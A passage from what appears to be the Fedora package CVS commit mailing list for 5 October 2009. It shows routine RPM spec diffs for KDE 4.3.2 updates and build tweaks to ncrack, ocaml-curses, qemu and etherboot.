@@ -50,7 +50,9 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+%if 0%{?fedora}
 BuildRequires: webkitpart-devel
+%endif
 # FIXME/TODO: libnxcl-devel
 
 Requires: kdepimlibs%{?_isa} >= %{version}
@@ -192,6 +194,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.1-4
+- rhel cleanup
+
 * Sun Sep 17 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
 - %%?_isa'ize -libs deps
 - BR: webkitpart-devel



From than at fedoraproject.org  Mon Oct  5 14:34:12 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 14:34:12 +0000 (UTC)
Subject: rpms/kdenetwork/devel .cvsignore, 1.73, 1.74 kdenetwork.spec, 1.200,
	1.201 sources, 1.79, 1.80 kdenetwork-4.3.0-fix-bonjour.patch,
	1.1, NONE kdenetwork-4.3.1-kde#162493.patch, 1.1, NONE
Message-ID: <20091005143412.799E811C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdenetwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4386

Modified Files:
	.cvsignore kdenetwork.spec sources 
Removed Files:
	kdenetwork-4.3.0-fix-bonjour.patch 
	kdenetwork-4.3.1-kde#162493.patch 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/devel/.cvsignore,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- .cvsignore	1 Sep 2009 17:52:31 -0000	1.73
+++ .cvsignore	5 Oct 2009 14:34:12 -0000	1.74
@@ -1,2 +1,3 @@
 krdc-icons.tar.bz2
 kdenetwork-4.3.1.tar.bz2
+kdenetwork-4.3.2.tar.bz2


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/devel/kdenetwork.spec,v
retrieving revision 1.200
retrieving revision 1.201
diff -u -p -r1.200 -r1.201
--- kdenetwork.spec	27 Sep 2009 21:27:44 -0000	1.200
+++ kdenetwork.spec	5 Oct 2009 14:34:12 -0000	1.201
@@ -1,8 +1,8 @@
 Summary: K Desktop Environment - Network Applications
 Name: kdenetwork
 Epoch: 7
-Version: 4.3.1
-Release: 3%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -14,9 +14,6 @@ Source1: krdc-icons.tar.bz2
 Patch1: kdenetwork-4.2.98-kdrc-icon.patch
 
 # upstream patches (4.3 branch):
-Patch100: kdenetwork-4.3.0-fix-bonjour.patch
-# http://bugs.kde.org/162493
-Patch101: kdenetwork-4.3.1-kde#162493.patch
 
 # upstream patches (4.4 branch):
 Patch200: kdenetwork-4.3.0-jabber-kde#111537.patch
@@ -50,7 +47,9 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+%if 0%{?fedora}
 BuildRequires: webkitpart-devel
+%endif
 # FIXME/TODO: libnxcl-devel
 
 Requires: kdepimlibs%{?_isa} >= %{version}
@@ -98,8 +97,6 @@ Requires: kdelibs4-devel
 %prep
 %setup -q -a 1
 %patch1 -p1 -b .icon
-%patch100 -p0 -b .bonjour
-%patch101 -p4 -b .kde#162493.patch
 
 # 4.3 upstream patches
 chmod +x kopete/kopete/kconf_update/kopete-update_yahoo_server.pl
@@ -192,6 +189,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sun Sep 17 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
 - %%?_isa'ize -libs deps
 - BR: webkitpart-devel


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/devel/sources,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- sources	28 Aug 2009 14:49:50 -0000	1.79
+++ sources	5 Oct 2009 14:34:12 -0000	1.80
@@ -1,2 +1,2 @@
 7dd360a790100c952090410c2c89937c  krdc-icons.tar.bz2
-496000ae85856da0c6fb0e014d03d0d7  kdenetwork-4.3.1.tar.bz2
+57b44a9b59c35366a0c287c591bb9bdc  kdenetwork-4.3.2.tar.bz2


--- kdenetwork-4.3.0-fix-bonjour.patch DELETED ---


--- kdenetwork-4.3.1-kde#162493.patch DELETED ---



From smilner at fedoraproject.org  Mon Oct  5 14:35:35 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 14:35:35 +0000 (UTC)
Subject: rpms/ncrack/devel ncrack.spec,1.1,1.2
Message-ID: <20091005143535.7709611C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4763

Modified Files:
	ncrack.spec 
Log Message:
update for EL-4 builds merged in


Index: ncrack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/devel/ncrack.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ncrack.spec	5 Oct 2009 13:45:53 -0000	1.1
+++ ncrack.spec	5 Oct 2009 14:35:34 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           ncrack
 Version:        0.01
-Release:        0.6.ALPHA%{?dist}
+Release:        0.7.ALPHA%{?dist}
 Summary:        High-speed network auth cracking tool
 
 Group:          Applications/Internet
@@ -33,7 +33,7 @@ sed -i '/\$(STRIP)/d' Makefile.in
 
 
 %build
-%configure
+%configure --without-zlib-version-check
 make %{?_smp_mflags}
 
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.7.ALPHA
+- Added --without-zlib-version-check to configure to allow building on EL-4.
+
 * Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
 - Removed custom patches after discussion with upstream and reviewers.
 - Moved what we thought was a config back to it's default location.



From smilner at fedoraproject.org  Mon Oct  5 14:36:20 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 14:36:20 +0000 (UTC)
Subject: rpms/ncrack/F-12 ncrack.spec,1.1,1.2
Message-ID: <20091005143620.ED7A211C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4996

Modified Files:
	ncrack.spec 
Log Message:
merged in EL-4 build changes


Index: ncrack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/F-12/ncrack.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ncrack.spec	5 Oct 2009 13:49:09 -0000	1.1
+++ ncrack.spec	5 Oct 2009 14:36:20 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           ncrack
 Version:        0.01
-Release:        0.6.ALPHA%{?dist}
+Release:        0.7.ALPHA%{?dist}
 Summary:        High-speed network auth cracking tool
 
 Group:          Applications/Internet
@@ -33,7 +33,7 @@ sed -i '/\$(STRIP)/d' Makefile.in
 
 
 %build
-%configure
+%configure --without-zlib-version-check
 make %{?_smp_mflags}
 
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.7.ALPHA
+- Added --without-zlib-version-check to configure to allow building on EL-4.
+
 * Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
 - Removed custom patches after discussion with upstream and reviewers.
 - Moved what we thought was a config back to it's default location.



From rjones at fedoraproject.org  Mon Oct  5 14:37:02 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon,  5 Oct 2009 14:37:02 +0000 (UTC)
Subject: rpms/ocaml-curses/devel ocaml-curses.spec,1.13,1.14
Message-ID: <20091005143702.6E0C611C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-curses/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5289

Modified Files:
	ocaml-curses.spec 
Log Message:
Use ncursesw for wide character support.


Index: ocaml-curses.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-curses/devel/ocaml-curses.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- ocaml-curses.spec	25 Jul 2009 19:55:04 -0000	1.13
+++ ocaml-curses.spec	5 Oct 2009 14:37:02 -0000	1.14
@@ -3,7 +3,7 @@
 
 Name:           ocaml-curses
 Version:        1.0.3
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        OCaml bindings for ncurses
 
 Group:          Development/Libraries
@@ -47,7 +47,7 @@ autoreconf
 
 
 %build
-%configure
+%configure --enable-widec
 make all opt
 
 strip dllcurses_stubs.so
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.3-7
+- Use ncursesw for wide character support.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From smilner at fedoraproject.org  Mon Oct  5 14:38:16 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 14:38:16 +0000 (UTC)
Subject: rpms/ncrack/F-11 ncrack.spec,1.1,1.2
Message-ID: <20091005143816.777BD11C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6299

Modified Files:
	ncrack.spec 
Log Message:
merged in EL-4 build items


Index: ncrack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/F-11/ncrack.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ncrack.spec	5 Oct 2009 13:52:05 -0000	1.1
+++ ncrack.spec	5 Oct 2009 14:38:16 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           ncrack
 Version:        0.01
-Release:        0.6.ALPHA%{?dist}
+Release:        0.7.ALPHA%{?dist}
 Summary:        High-speed network auth cracking tool
 
 Group:          Applications/Internet
@@ -33,7 +33,7 @@ sed -i '/\$(STRIP)/d' Makefile.in
 
 
 %build
-%configure
+%configure --without-zlib-version-check
 make %{?_smp_mflags}
 
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.7.ALPHA
+- Added --without-zlib-version-check to configure to allow building on EL-4.
+
 * Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
 - Removed custom patches after discussion with upstream and reviewers.
 - Moved what we thought was a config back to it's default location.



From markmc at fedoraproject.org  Mon Oct  5 14:39:50 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 14:39:50 +0000 (UTC)
Subject: rpms/qemu/F-11 qemu.spec,1.105,1.106
Message-ID: <20091005143950.E861911C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6867

Modified Files:
	qemu.spec 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-7
- Use rtl8029 PXE rom for ne2k_pci, not ne (#526243)
- Also, replace the etherboot-zroms-kvm pkg requires with file-based requires



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-11/qemu.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- qemu.spec	29 Sep 2009 20:53:23 -0000	1.105
+++ qemu.spec	5 Oct 2009 14:39:50 -0000	1.106
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.10.6
-Release: 6%{?dist}
+Release: 7%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -119,11 +119,15 @@ This package provides the user mode emul
 Summary: QEMU system emulator for x86
 Group: Development/Tools
 Requires: %{name}-common = %{epoch}:%{version}-%{release}
-Requires: etherboot-zroms-kvm
-Requires: vgabios
-Requires: bochs-bios >= 2.3.8-0.5
 Provides: kvm = 85
 Obsoletes: kvm < 85
+Requires: vgabios
+Requires: bochs-bios >= 2.3.8-0.5
+Requires: /usr/share/etherboot/e1000-82542.zrom
+Requires: /usr/share/etherboot/rtl8029.zrom
+Requires: /usr/share/etherboot/pcnet32.zrom
+Requires: /usr/share/etherboot/rtl8139.zrom
+Requires: /usr/share/etherboot/virtio-net.zrom
 
 %description system-x86
 QEMU is a generic and open source processor emulator which achieves a good
@@ -481,6 +485,10 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-7
+- Use rtl8029 PXE rom for ne2k_pci, not ne (#526243)
+- Also, replace the etherboot-zroms-kvm pkg requires with file-based requires
+
 * Tue Sep 29 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-6
 - Fix broken virtio-net with 2.6.30 guests (#522994)
 



From than at fedoraproject.org  Mon Oct  5 14:44:05 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 14:44:05 +0000 (UTC)
Subject: rpms/kdepim/devel .cvsignore, 1.69, 1.70 kdepim.spec, 1.238,
	1.239 sources, 1.76, 1.77 kdepim-4.3.2-imapMove.patch, 1.1,
	NONE kdepim-4.3.2-ldapCompletionCrash.patch, 1.2, NONE
Message-ID: <20091005144405.493C511C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdepim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7864

Modified Files:
	.cvsignore kdepim.spec sources 
Removed Files:
	kdepim-4.3.2-imapMove.patch 
	kdepim-4.3.2-ldapCompletionCrash.patch 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepim/devel/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 18:10:08 -0000	1.69
+++ .cvsignore	5 Oct 2009 14:44:04 -0000	1.70
@@ -1 +1,2 @@
 kdepim-4.3.1.tar.bz2
+kdepim-4.3.2.tar.bz2


Index: kdepim.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepim/devel/kdepim.spec,v
retrieving revision 1.238
retrieving revision 1.239
diff -u -p -r1.238 -r1.239
--- kdepim.spec	24 Sep 2009 13:35:02 -0000	1.238
+++ kdepim.spec	5 Oct 2009 14:44:04 -0000	1.239
@@ -5,8 +5,8 @@
 Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
-Version: 4.3.1
-Release: 6%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -16,12 +16,6 @@ Patch0:  kdepim-4.1.80-libqgpgme-link-fi
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
 # 4.3.1 upstream
-# http://websvn.kde.org/?view=rev&revision=1022963
-# http://websvn.kde.org/?view=rev&revision=1022964
-Patch100: kdepim-4.3.2-imapMove.patch
-#?http://websvn.kde.org/?view=rev&revision=1019119
-# http://websvn.kde.org/?view=rev&revision=1019358
-Patch101: kdepim-4.3.2-ldapCompletionCrash.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -102,8 +96,6 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
-%patch100 -p4 -b .imapMove
-%patch101 -p0 -b .ldapCompletionCrash
 
 
 %build
@@ -222,6 +214,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Thu Sep 24 2009 Than Ngo <than at redhat.com> - 4.3.1-6
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepim/devel/sources,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- sources	28 Aug 2009 15:11:22 -0000	1.76
+++ sources	5 Oct 2009 14:44:04 -0000	1.77
@@ -1 +1 @@
-1029bc586f29c262f5f60eb079623e62  kdepim-4.3.1.tar.bz2
+7e6a672bd681b2f19502798d7ed73fe8  kdepim-4.3.2.tar.bz2


--- kdepim-4.3.2-imapMove.patch DELETED ---


--- kdepim-4.3.2-ldapCompletionCrash.patch DELETED ---



From than at fedoraproject.org  Mon Oct  5 14:50:51 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 14:50:51 +0000 (UTC)
Subject: rpms/kdepimlibs/devel .cvsignore, 1.43, 1.44 kdepimlibs.spec, 1.100,
	1.101 sources, 1.42, 1.43
Message-ID: <20091005145051.0E34611C02A0@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdepimlibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9615

Modified Files:
	.cvsignore kdepimlibs.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/devel/.cvsignore,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- .cvsignore	1 Sep 2009 18:11:59 -0000	1.43
+++ .cvsignore	5 Oct 2009 14:50:50 -0000	1.44
@@ -1 +1,2 @@
 kdepimlibs-4.3.1.tar.bz2
+kdepimlibs-4.3.2.tar.bz2


Index: kdepimlibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/devel/kdepimlibs.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- kdepimlibs.spec	2 Sep 2009 06:34:44 -0000	1.100
+++ kdepimlibs.spec	5 Oct 2009 14:50:50 -0000	1.101
@@ -3,7 +3,7 @@
 %define akonadi_version 1.2.0
 
 Name: kdepimlibs
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment 4 - PIM Libraries
 
@@ -205,6 +205,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/devel/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	28 Aug 2009 15:15:14 -0000	1.42
+++ sources	5 Oct 2009 14:50:50 -0000	1.43
@@ -1 +1 @@
-8f8ffad4475a98f864470da888ef0931  kdepimlibs-4.3.1.tar.bz2
+5206959536c1a7abd58f6d2b6eb1c952  kdepimlibs-4.3.2.tar.bz2



From smilner at fedoraproject.org  Mon Oct  5 14:54:45 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 14:54:45 +0000 (UTC)
Subject: rpms/ncrack/EL-5 ncrack.spec,1.1,1.2
Message-ID: <20091005145445.4FDDB11C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10495

Modified Files:
	ncrack.spec 
Log Message:
update merging in EL-4 items


Index: ncrack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/EL-5/ncrack.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ncrack.spec	5 Oct 2009 13:56:16 -0000	1.1
+++ ncrack.spec	5 Oct 2009 14:54:45 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           ncrack
 Version:        0.01
-Release:        0.6.ALPHA%{?dist}
+Release:        0.7.ALPHA%{?dist}
 Summary:        High-speed network auth cracking tool
 
 Group:          Applications/Internet
@@ -33,7 +33,7 @@ sed -i '/\$(STRIP)/d' Makefile.in
 
 
 %build
-%configure
+%configure --without-zlib-version-check
 make %{?_smp_mflags}
 
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.7.ALPHA
+- Added --without-zlib-version-check to configure to allow building on EL-4.
+
 * Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
 - Removed custom patches after discussion with upstream and reviewers.
 - Moved what we thought was a config back to it's default location.



From than at fedoraproject.org  Mon Oct  5 14:56:28 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 14:56:28 +0000 (UTC)
Subject: rpms/kdepim-runtime/devel .cvsignore, 1.6, 1.7 kdepim-runtime.spec, 
	1.8, 1.9 sources, 1.6, 1.7
Message-ID: <20091005145628.8078311C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdepim-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10989

Modified Files:
	.cvsignore kdepim-runtime.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepim-runtime/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	28 Aug 2009 16:12:54 -0000	1.6
+++ .cvsignore	5 Oct 2009 14:56:28 -0000	1.7
@@ -3,3 +3,4 @@ kdepim-runtime-4.2.96.tar.bz2
 kdepim-runtime-4.2.98.tar.bz2
 kdepim-runtime-4.3.0.tar.bz2
 kdepim-runtime-4.3.1.tar.bz2
+kdepim-runtime-4.3.2.tar.bz2


Index: kdepim-runtime.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepim-runtime/devel/kdepim-runtime.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- kdepim-runtime.spec	28 Aug 2009 16:12:54 -0000	1.8
+++ kdepim-runtime.spec	5 Oct 2009 14:56:28 -0000	1.9
@@ -2,7 +2,7 @@
 
 Name: kdepim-runtime
 Summary: KDE PIM Runtime Environment
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 
 License: GPLv2
@@ -130,6 +130,9 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepim-runtime/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	28 Aug 2009 16:12:54 -0000	1.6
+++ sources	5 Oct 2009 14:56:28 -0000	1.7
@@ -1 +1 @@
-a53f323398ccb9a8bd15a4b81050a046  kdepim-runtime-4.3.1.tar.bz2
+a998b2d6e62e79a80fefc2b3c632a3b8  kdepim-runtime-4.3.2.tar.bz2



From markmc at fedoraproject.org  Mon Oct  5 15:03:49 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 15:03:49 +0000 (UTC)
Subject: rpms/etherboot/devel etherboot.spec,1.18,1.19
Message-ID: <20091005150349.54C1111C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/etherboot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13545

Modified Files:
	etherboot.spec 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-18
- Include rtl8209 in etherboot-zroms-qemu (#526781)



Index: etherboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etherboot/devel/etherboot.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- etherboot.spec	24 Jul 2009 22:19:51 -0000	1.18
+++ etherboot.spec	5 Oct 2009 15:03:48 -0000	1.19
@@ -7,7 +7,7 @@
 
 Name: etherboot
 Version: 5.4.4
-Release: 17%{?dist}
+Release: 18%{?dist}
 Summary: Etherboot collection of boot roms
 
 Group: Development/Tools
@@ -148,8 +148,9 @@ popd
 
 # the roms supported by kvm will be packaged separatedly
 # remove from the main rom list and add them to kvm.list
-for fmt in rom zrom;do 
-	for rom in ne e1000-82542 pcnet32 rtl8139 virtio-net;do
+# ne is included only for compatibility with earlier versions of qemu
+for fmt in rom zrom;do
+	for rom in rtl8209 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
 		sed -i -e "/\/${rom}.${fmt}/d" ${fmt}.list
 		echo %{_datadir}/%{name}/${rom}.${fmt} >> kvm.${fmt}.list
 	done
@@ -183,6 +184,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-18
+- Include rtl8209 in etherboot-zroms-qemu (#526781)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.4.4-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From than at fedoraproject.org  Mon Oct  5 15:04:16 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 15:04:16 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel .cvsignore, 1.20,
	1.21 kdeplasma-addons.spec, 1.61, 1.62 sources, 1.20,
	1.21 kdeplasma-addons-4.3.2-ublog_twitter.patch, 1.1, NONE
Message-ID: <20091005150416.162D711C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13573

Modified Files:
	.cvsignore kdeplasma-addons.spec sources 
Removed Files:
	kdeplasma-addons-4.3.2-ublog_twitter.patch 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	1 Sep 2009 18:15:00 -0000	1.20
+++ .cvsignore	5 Oct 2009 15:04:15 -0000	1.21
@@ -1 +1,2 @@
 kdeplasma-addons-4.3.1.tar.bz2
+kdeplasma-addons-4.3.2.tar.bz2


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- kdeplasma-addons.spec	3 Oct 2009 16:22:44 -0000	1.61
+++ kdeplasma-addons.spec	5 Oct 2009 15:04:15 -0000	1.62
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
-Version:        4.3.1
-Release:        3%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -16,7 +16,6 @@ Patch51: kdeplasma-addons-4.2.2-krunner_
 
 ## upstream patches
 # https://bugzilla.redhat.com/526524
-Patch100: kdeplasma-addons-4.3.2-ublog_twitter.patch
 # Backported from 4.3 branch
 
 BuildRequires:  boost-devel
@@ -82,7 +81,6 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
-%patch100 -p4 -b .ublog_twitter
 
 
 %build
@@ -167,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.1-3
+- 4.3.2
+
 * Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
 - Ship -devel subpackage (#527011)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	28 Aug 2009 16:15:15 -0000	1.20
+++ sources	5 Oct 2009 15:04:15 -0000	1.21
@@ -1 +1 @@
-282473836da35a48a6c6bee0b6fa6666  kdeplasma-addons-4.3.1.tar.bz2
+ef545d02cc484d226dc6a580be11a370  kdeplasma-addons-4.3.2.tar.bz2


--- kdeplasma-addons-4.3.2-ublog_twitter.patch DELETED ---



From markmc at fedoraproject.org  Mon Oct  5 15:04:26 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 15:04:26 +0000 (UTC)
Subject: rpms/etherboot/F-12 etherboot.spec,1.18,1.19
Message-ID: <20091005150426.40A9911C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/etherboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13763

Modified Files:
	etherboot.spec 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-18
